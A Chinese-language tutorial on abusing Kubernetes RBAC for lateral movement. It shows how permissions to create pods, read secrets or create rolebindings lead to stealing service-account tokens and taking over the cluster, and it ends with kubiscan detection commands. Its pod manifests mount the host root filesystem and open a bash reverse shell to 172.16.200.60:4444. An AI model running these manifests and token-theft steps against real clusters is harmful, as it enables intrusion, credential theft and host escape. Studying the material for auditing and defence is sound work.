在上一篇文章中我们讲了RBAC授权,传送门:K8s API访问控制 。并且绝大多数版本的K8s都默认使用RBAC作为其默认的授权方式。那么RBAC授权在我们进行K8s集群横向移动的时候有哪些可利用点呢?本篇文章我们介绍在K8s集群横向移动时如何滥用RBAC权限,并通过滥用的RBAC权限横向获得集群的cluster-admin权限接管整个K8s集群。
假如我们在K8s集群横向移动的时候,获得了一个kubeconfig文件或者获得了一个Token,亦或者是获得了某台pod的权限。那么接下来我们的横向思路是什么呢?
在之前的文章中我们知道,一个Pod必须要以某一个Service Account的身份去运行,而一个Service Account对应着一个Secret,一个Secret保存着一个Token和公钥文件。所以获得了Pod的权限就意味着获得了一个具有访问K8s API Server的Service Account,只不过默认情况下该Service Account所拥有的权限比较低而已。而获得的Token最终也是可以转换到一个Service Account对象,该Service Account对象的权限取决于它所绑定的角色。而kubeconfig文件也是可以最终转换到对应的访问主体上(User/Group),该kubeconfig文件的权限取决于所对应的主体绑定的角色。
所以这个问题最后就归结到所获得的kubeconfig文件、Token、Pod所对应的主体绑定的角色如何。
以下我们以获得了某个Pod权限为例作为演示,这也是实战中碰到最多的情况。
RBAC权限滥用
#查看是否拥有 cluster-admin 的权限kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出当前用户对所有服务器资源的访问权限kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出当前用户对所有指定命名空间的访问权限kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#pod相关kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
创建pod权限 查看secret权限 创建Rolebinding/clusterrolebinding权限
创建POD权限
春
指定命名空间
节
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:namespace: testname: create-podrules:- apiGroups: ["*"]resources: ["pods"]verbs: ["create","get"]
#在test命名空间创建test-sa服务账户kubectl create serviceaccount test-sa -n test#将test-sa与create-pod进行rolebindingkubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa
#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa-token-s4pgj -n test
apiVersion: v1kind: Podmetadata:name: myapp2namespace: testspec:containers:- image: nginxname: containercommand: ["bash"]args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]volumeMounts:- mountPath: /mntname: testvolumes:- name: testhostPath:path: /
春
集群角色
节
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: create-podrules:- apiGroups: ["*"]resources: ["pods"]verbs: ["create","get"]
#在test命名空间创建test-sa10服务账户kubectl create serviceaccount test-sa10 -n test#将test-sa10与create-pod进行clusterrolebindingkubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10
#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa10 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa10-token-4c8wm -n test
apiVersion: v1kind: Podmetadata:name: myappnamespace: kube-systemspec:serviceAccountName: "namespace-controller"containers:- image: nginxname: containercommand: ["bash"]args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]volumes:- name: testhostPath:path: /
查看secret权限
春
list secret
节
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: list-secretrules:- apiGroups: ["*"]resources: ["secrets"]verbs: ["list"]
#在test命名空间创建test-sa2服务账户kubectl create serviceaccount test-sa2 -n test#将test-sa2与list-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2
#获得服务账户test-sa2所对应的secretkubectl get serviceaccounts test-sa2 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa2-token-q588z -n test
春
get secret
节
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: get-secretrules:- apiGroups: ["*"]resources: ["secrets"]verbs: ["get"]
#在test命名空间创建test-sa3服务账户kubectl create serviceaccount test-sa3 -n test#将test-sa3与get-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3
#获得服务账户test-sa3所对应的secretkubectl get serviceaccounts test-sa3 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa3-token-k5tm4 -n test
春
K8s默认的高权限secret
节
bootstrap-signer-token-xxxxx daemon-set-controller-token-xxxxx generic-garbage-collector-token-xxxxx namespace-controller-token-xxxxx replicaset-controller-token-xxxxx resourcequota-controller-token-xxxxx token-cleaner-token-xxxxx
kubectl describe secret bootstrap-signer-token-962js -n kube-system
kubectl get RoleBindings -o wide -A | grep bootstrap-signer
kubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system
创建rolebinding/clusterrolebinding权限
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: create-rolebindingnamespace: kube-systemrules:- apiGroups: ["*"]resources: ["rolebindings"]verbs: ["create"]
#在test命名空间创建test-sa5服务账户kubectl create serviceaccount test-sa5 -n kube-system#将test-sa5与create-rolebinding进行rolebindingkubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5
#获得服务账户test-sa5所对应的secretkubectl get serviceaccounts test-sa5 -n kube-system -o yaml#查看指定secret的Tokenkubectl describe secret test-sa5-token-l455n -n kube-system
检测RBAC权限滥用
查找集群中所有高危的对象
kubiscan -a
查找具有高权限的Role/ClusterRole
#查找具有高权限的Rolekubiscan -rr#查找具有高权限的Role,并显示具有的规则kubiscan -rr -r#查找具有高权限的ClusterRolekubiscan -rcr#查找具有高权限的ClusterRole,并显示具有的规则kubiscan -rcr -r#查找具有高权限的Role和ClusterRolekubiscan -rar#查找具有高权限的Role和ClusterRole,并显示具有的规则kubiscan -rar -r
查找具有高权限的Rolebindings/ClusterRolebindings
#查找具有高权限的Rolebindingskubiscan -rb#查找具有高权限的ClusterRolebindingskubiscan -rcb#查找具有高权限的Rolebindings和ClusterRolebindingskubiscan -rab
查询具有高权限的主体
kubiscan -rp
查找关联了高权限ServiceAccount的pod
kubiscan -rp
查找特权pod
kubiscan -pp
查找指定主体绑定的权限
春
指定命名空间下的ServiceAccount绑定的角色
节
kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"
春
指定User绑定的角色
节
kubiscan -aars "system:kube-controller-manager" -k "User"
春
指定Group绑定的角色
节
kubiscan -aars "system:masters" -k "Group"
查找指定主体的绑定
春
指定命名空间下的ServiceAccount的绑定
节
kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"
春
指定User的绑定
节
kubiscan -aarbs "system:kube-controller-manager" -k "User"
春
指定Group的绑定
节
kubiscan -aarbs "system:masters" -k "Group"
END